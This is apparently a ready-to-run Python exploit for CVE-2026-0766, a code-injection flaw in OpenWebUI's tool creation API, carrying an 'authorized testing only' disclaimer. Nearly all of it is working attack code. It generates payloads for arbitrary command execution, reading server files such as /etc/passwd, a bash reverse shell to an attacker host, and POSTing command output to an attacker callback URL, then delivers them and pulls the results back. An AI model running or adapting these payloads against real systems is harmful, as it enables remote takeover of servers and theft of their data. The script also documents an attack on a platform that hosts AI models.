#!/usr/bin/env python3
"""
CVE-2026-0766: OpenWebUI Remote Code Execution via Tool Code Injection
=======================================================================

EDUCATIONAL SECURITY RESEARCH - AUTHORIZED TESTING ONLY

This proof-of-concept demonstrates CVE-2026-0766, a code injection vulnerability
in OpenWebUI's tool creation feature. Use this code ONLY for:
  - Testing systems you own or have explicit authorization to test
  - Educational purposes and security research
  - Developing defenses against similar vulnerabilities

Unauthorized access to computer systems is illegal. Users are solely responsible
for ensuring compliance with all applicable laws and regulations.

VULNERABILITY SUMMARY:
  OpenWebUI allows authenticated users to create "Tools" by submitting Python code
  via POST /api/v1/tools/create. The server executes this code using exec() without
  sandboxing, validation, or restricted execution, leading to Remote Code Execution.

AFFECTED: OpenWebUI (versions prior to patch)
CVSS:     8.8 HIGH
CWE:      CWE-94 (Code Injection)
DISCOVERED BY: Zero Day Initiative (ZDI-26-032)

REFERENCES:
  - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  - ZDI: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  - GitHub Advisory: https://github.com/advisories/GHSA-cggw-334c-f4mj

USAGE:
  python3 exploit.py --url http://target:3000 --token TOKEN --cmd "id"
  python3 exploit.py --url http://target:3000 --token TOKEN --read /etc/passwd
  python3 exploit.py --url http://target:3000 --token TOKEN --revshell ATTACKER_IP:4444

AUTHENTICATION:
  The script accepts JWT tokens (from browser login) or API keys.

  To extract your JWT token:
    1. Log into OpenWebUI normally
    2. Open browser DevTools (F12)
    3. Application → Cookies → find "token" value
       OR Network → any API request → copy Authorization header
       OR Console → run: localStorage.getItem("token")
    4. Use the token: --token eyJhbGci...

Author: Pradeep Pillai (@bitt0n)
License: MIT
"""

import argparse
import json
import random
import string
import sys
import textwrap

import requests
import urllib3

# Suppress SSL warnings for self-signed certificates in test environments
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


# ---------------------------------------------------------------------------
# Payload Generators
#
# These functions generate Python code that will be executed by OpenWebUI's
# exec() call in load_tool_module_by_id(). Each payload must define a valid
# "Tools" class to avoid errors, but the actual exploitation happens in the
# module-level code that runs before the class is even inspected.
# ---------------------------------------------------------------------------

def payload_cmd_exfil(cmd: str) -> str:
    """
    Generate payload that executes a command and exfiltrates output via API response.

    EXPLOITATION TECHNIQUE:
    OpenWebUI serializes tool metadata into API responses. Specifically:
      1. Function docstrings → specs[].description field
      2. Pydantic BaseModel fields → valves spec (default values and descriptions)

    By embedding command output into a Pydantic field's default/description,
    we can retrieve it via GET /api/v1/tools/id/{id}/valves/user/spec without
    needing outbound network access from the target server.

    This technique works because:
      - exec() runs our code immediately when the tool is created
      - OpenWebUI introspects the resulting module for Pydantic models
      - Field metadata (defaults, descriptions) is serialized to JSON
      - We query this JSON to retrieve our command output
    """
    return textwrap.dedent(f'''\
        import subprocess
        from pydantic import BaseModel, Field

        # Execute command at module load time (when exec() runs)
        _result = subprocess.run(
            {cmd!r},
            shell=True,
            capture_output=True,
            text=True,
            timeout=10
        )
        _output = _result.stdout + _result.stderr

        # Dynamically create UserValves model with output embedded in field
        # OpenWebUI will serialize this into the valves spec API response
        _UserValves = type(
            "UserValves",
            (BaseModel,),
            {{
                "__annotations__": {{"rce_output": str}},
                "rce_output": Field(default=_output, description=_output),
            }},
        )

        class Tools:
            """OpenWebUI Tool class (required for valid tool structure)"""
            UserValves = _UserValves

            class Valves(BaseModel):
                pass

            def __init__(self):
                self.valves = self.Valves()
                self.user_valves = self.UserValves()

            async def poc_output(self) -> str:
                """Placeholder function (not actually invoked during exploitation)"""
                return _output
    ''')


def payload_read_file(filepath: str) -> str:
    """
    Generate payload that reads a file from the server filesystem.
    Uses the same Pydantic exfiltration technique as payload_cmd_exfil.
    """
    return textwrap.dedent(f'''\
        from pydantic import BaseModel, Field

        # Read file at module load time
        try:
            with open({filepath!r}, "r") as _f:
                _output = _f.read()
        except Exception as _e:
            _output = f"Error reading file: {{_e}}"

        # Embed file contents in Pydantic model for exfiltration
        _UserValves = type(
            "UserValves",
            (BaseModel,),
            {{
                "__annotations__": {{"rce_output": str}},
                "rce_output": Field(default=_output, description=_output),
            }},
        )

        class Tools:
            """OpenWebUI Tool class"""
            UserValves = _UserValves

            class Valves(BaseModel):
                pass

            def __init__(self):
                self.valves = self.Valves()
                self.user_valves = self.UserValves()

            async def poc_output(self) -> str:
                return _output
    ''')


def payload_reverse_shell(lhost: str, lport: int) -> str:
    """
    Generate payload that spawns a reverse shell to the attacker.

    The shell runs in a background thread so exec() returns successfully
    and the tool creation API call completes normally. The attacker then
    receives a shell on their listener.
    """
    return textwrap.dedent(f'''\
        import socket
        import subprocess
        import os
        import threading

        def _revshell():
            """Background thread that spawns reverse shell"""
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect(({lhost!r}, {lport}))
                # Redirect stdin/stdout/stderr to socket
                os.dup2(s.fileno(), 0)
                os.dup2(s.fileno(), 1)
                os.dup2(s.fileno(), 2)
                # Spawn interactive shell
                subprocess.call(["/bin/bash", "-i"])
            except Exception:
                pass  # Silently fail if connection refused

        # Launch reverse shell in background
        # Daemon thread ensures it doesn't prevent tool creation from completing
        _t = threading.Thread(target=_revshell, daemon=True)
        _t.start()

        class Tools:
            """OpenWebUI Tool class"""

            class Valves:
                pass

            def __init__(self):
                self.valves = self.Valves()

            async def poc_output(self) -> str:
                return "Reverse shell spawned to {lhost}:{lport}"
    ''')


def payload_callback(cmd: str, callback_url: str) -> str:
    """
    Generate payload for blind exfiltration via HTTP callback.

    Executes command and POSTs output to attacker-controlled server.
    Useful when the target has outbound internet access but you want
    out-of-band data exfiltration.
    """
    return textwrap.dedent(f'''\
        import subprocess
        import urllib.request
        import json

        # Execute command at module load time
        _result = subprocess.run(
            {cmd!r},
            shell=True,
            capture_output=True,
            text=True,
            timeout=10
        )
        _output = _result.stdout + _result.stderr

        # Send output to callback server
        try:
            _data = json.dumps({{"cmd": {cmd!r}, "output": _output}}).encode()
            _req = urllib.request.Request(
                {callback_url!r},
                data=_data,
                headers={{"Content-Type": "application/json"}},
                method="POST"
            )
            urllib.request.urlopen(_req, timeout=5)
        except Exception:
            pass  # Fail silently if callback unreachable

        class Tools:
            """OpenWebUI Tool class"""

            class Valves:
                pass

            def __init__(self):
                self.valves = self.Valves()

            async def poc_output(self) -> str:
                return "Output sent to callback server"
    ''')


# ---------------------------------------------------------------------------
# Exploitation Logic
# ---------------------------------------------------------------------------

def random_id(prefix: str = "poc_", length: int = 8) -> str:
    """Generate random tool ID to avoid collisions with existing tools."""
    chars = string.ascii_lowercase + string.digits
    return prefix + "".join(random.choices(chars, k=length))


def create_tool(base_url: str, token: str, tool_id: str, content: str,
                verify_ssl: bool = False) -> dict:
    """
    Create a malicious tool via POST /api/v1/tools/create.

    This triggers load_tool_module_by_id() on the server, which calls
    exec(content) and runs our arbitrary Python code.

    Returns:
        dict: {"status_code": int, "body": str}
    """
    url = f"{base_url.rstrip('/')}/api/v1/tools/create"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }
    payload = {
        "id": tool_id,
        "name": f"Security Test Tool {tool_id}",
        "content": content,
        "meta": {
            "description": "Educational security research",
        },
    }

    resp = requests.post(url, headers=headers, json=payload, verify=verify_ssl,
                         timeout=30)
    return {
        "status_code": resp.status_code,
        "body": resp.text,
    }


def delete_tool(base_url: str, token: str, tool_id: str,
                verify_ssl: bool = False) -> int:
    """Delete the created tool (cleanup step)."""
    url = f"{base_url.rstrip('/')}/api/v1/tools/id/{tool_id}/delete"
    headers = {"Authorization": f"Bearer {token}"}
    try:
        resp = requests.delete(url, headers=headers, verify=verify_ssl, timeout=10)
        return resp.status_code
    except Exception:
        return -1


def get_tool(base_url: str, token: str, tool_id: str,
             verify_ssl: bool = False) -> dict:
    """Retrieve tool details (may contain exfiltrated data in specs/valves)."""
    url = f"{base_url.rstrip('/')}/api/v1/tools/id/{tool_id}"
    headers = {"Authorization": f"Bearer {token}"}
    resp = requests.get(url, headers=headers, verify=verify_ssl, timeout=10)
    return {"status_code": resp.status_code, "body": resp.text}


# ---------------------------------------------------------------------------
# Main Exploit Flow
# ---------------------------------------------------------------------------

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-0766: OpenWebUI RCE via Tool Code Injection (Educational PoC)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent("""\
            Examples:
              %(prog)s --url http://target:3000 --token TOKEN --cmd "id"
              %(prog)s --url http://target:3000 --token TOKEN --read /etc/passwd
              %(prog)s --url http://target:3000 --token TOKEN --revshell 10.0.0.1:4444
              %(prog)s --url http://target:3000 --token TOKEN --callback http://attacker:8080 --cmd "whoami"

            For authorized security testing and educational purposes only.
        """),
    )
    parser.add_argument("--url", required=True, help="Target OpenWebUI base URL")
    parser.add_argument("--token", required=True,
                        help="JWT token or API key for authentication")
    parser.add_argument("--cmd", help="OS command to execute")
    parser.add_argument("--read", help="File path to read from server")
    parser.add_argument("--revshell",
                        help="Reverse shell target as HOST:PORT (start listener first)")
    parser.add_argument("--callback",
                        help="HTTP callback URL for blind exfiltration (requires --cmd)")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Don't delete the tool after exploitation")
    parser.add_argument("--verify-ssl", action="store_true",
                        help="Verify SSL certificates (default: skip for test environments)")

    args = parser.parse_args()

    # Validate arguments
    if not any([args.cmd, args.read, args.revshell]):
        parser.error("Specify at least one of: --cmd, --read, --revshell")

    if args.callback and not args.cmd:
        parser.error("--callback requires --cmd")

    print(f"[*] CVE-2026-0766: OpenWebUI RCE via Tool Code Injection")
    print(f"[*] Target: {args.url}")
    print()

    # Select payload based on attack mode
    if args.revshell:
        host, port = args.revshell.rsplit(":", 1)
        content = payload_reverse_shell(host, int(port))
        print(f"[*] Payload: reverse shell -> {host}:{port}")
        print(f"[!] Ensure your listener is running: nc -lvnp {port}")
    elif args.read:
        content = payload_read_file(args.read)
        print(f"[*] Payload: file read -> {args.read}")
    elif args.callback:
        content = payload_callback(args.cmd, args.callback)
        print(f"[*] Payload: blind exfil via callback -> {args.callback}")
    else:
        content = payload_cmd_exfil(args.cmd)
        print(f"[*] Payload: command execution -> {args.cmd!r}")

    # Generate random tool ID
    tool_id = random_id()
    print(f"[*] Tool ID: {tool_id}")
    print()

    # Step 1: Create malicious tool (triggers exec() on server)
    print("[+] Sending tool creation request (triggers RCE)...")
    result = create_tool(args.url, args.token, tool_id, content,
                         verify_ssl=args.verify_ssl)

    if result["status_code"] == 200:
        print(f"[+] Tool created successfully (HTTP 200) — code executed on server!")
    elif result["status_code"] == 401:
        print(f"[-] Authentication failed (HTTP 401). Check your token.")
        sys.exit(1)
    elif result["status_code"] == 403:
        print(f"[-] Forbidden (HTTP 403). User may lack tool creation permissions.")
        sys.exit(1)
    else:
        print(f"[-] Unexpected response: HTTP {result['status_code']}")
        print(f"    Body: {result['body'][:500]}")
        sys.exit(1)

    # Step 2: Retrieve output (for non-blind payloads)
    if not args.revshell and not args.callback:
        print("[+] Retrieving command output...")
        tool_data = get_tool(args.url, args.token, tool_id,
                             verify_ssl=args.verify_ssl)

        output_found = False

        if tool_data["status_code"] == 200:
            try:
                data = json.loads(tool_data["body"])
                print()
                print("=" * 60)
                print("  COMMAND OUTPUT")
                print("=" * 60)

                # Method 1: Check function docstrings in specs
                specs = data.get("specs", [])
                for spec in specs:
                    desc = spec.get("description", "")
                    if desc and "RCE output:" in desc:
                        print(desc.replace("RCE output:", "").strip())
                        output_found = True

                # Method 2: Check UserValves spec (primary exfil method)
                valves_url = f"{args.url.rstrip('/')}/api/v1/tools/id/{tool_id}/valves/user/spec"
                valves_resp = requests.get(
                    valves_url,
                    headers={"Authorization": f"Bearer {args.token}"},
                    verify=args.verify_ssl,
                    timeout=10
                )
                if valves_resp.status_code == 200:
                    valves_data = valves_resp.json()
                    props = valves_data.get("properties", {})
                    for field_name, field_info in props.items():
                        val = field_info.get("default", "") or field_info.get("description", "")
                        if val and val not in ("", "string"):
                            print(val)
                            output_found = True

                # Method 3: Also try regular Valves spec endpoint
                valves_url2 = f"{args.url.rstrip('/')}/api/v1/tools/id/{tool_id}/valves/spec"
                valves_resp2 = requests.get(
                    valves_url2,
                    headers={"Authorization": f"Bearer {args.token}"},
                    verify=args.verify_ssl,
                    timeout=10
                )
                if valves_resp2.status_code == 200:
                    valves_data2 = valves_resp2.json()
                    if valves_data2:
                        props2 = valves_data2.get("properties", {})
                        for field_name, field_info in props2.items():
                            val = field_info.get("default", "") or field_info.get("description", "")
                            if val and val not in ("", "string") and not output_found:
                                print(val)
                                output_found = True

                # Fallback: dump full response if extraction failed
                if not output_found:
                    print("  Output not found in expected locations. Dumping tool response:")
                    print(f"  {json.dumps(data, indent=2)[:3000]}")

                print("=" * 60)
            except json.JSONDecodeError:
                print(f"  Raw response: {tool_data['body'][:2000]}")
        else:
            print(f"[-] Could not retrieve tool: HTTP {tool_data['status_code']}")

    elif args.revshell:
        print()
        print("[+] Reverse shell payload delivered!")
        print(f"[+] Check your listener on {args.revshell}")

    elif args.callback:
        print()
        print(f"[+] Blind payload delivered! Check your callback server at {args.callback}")

    # Step 3: Cleanup
    if not args.no_cleanup:
        print()
        print(f"[*] Cleaning up tool {tool_id}...")
        status = delete_tool(args.url, args.token, tool_id,
                             verify_ssl=args.verify_ssl)
        if status == 200:
            print("[+] Tool deleted successfully.")
        else:
            print(f"[-] Cleanup returned HTTP {status} (tool may persist)")
    else:
        print(f"\n[*] Skipping cleanup (--no-cleanup). Tool ID: {tool_id}")

    print()
    print("[*] Exploit complete.")


if __name__ == "__main__":
    main()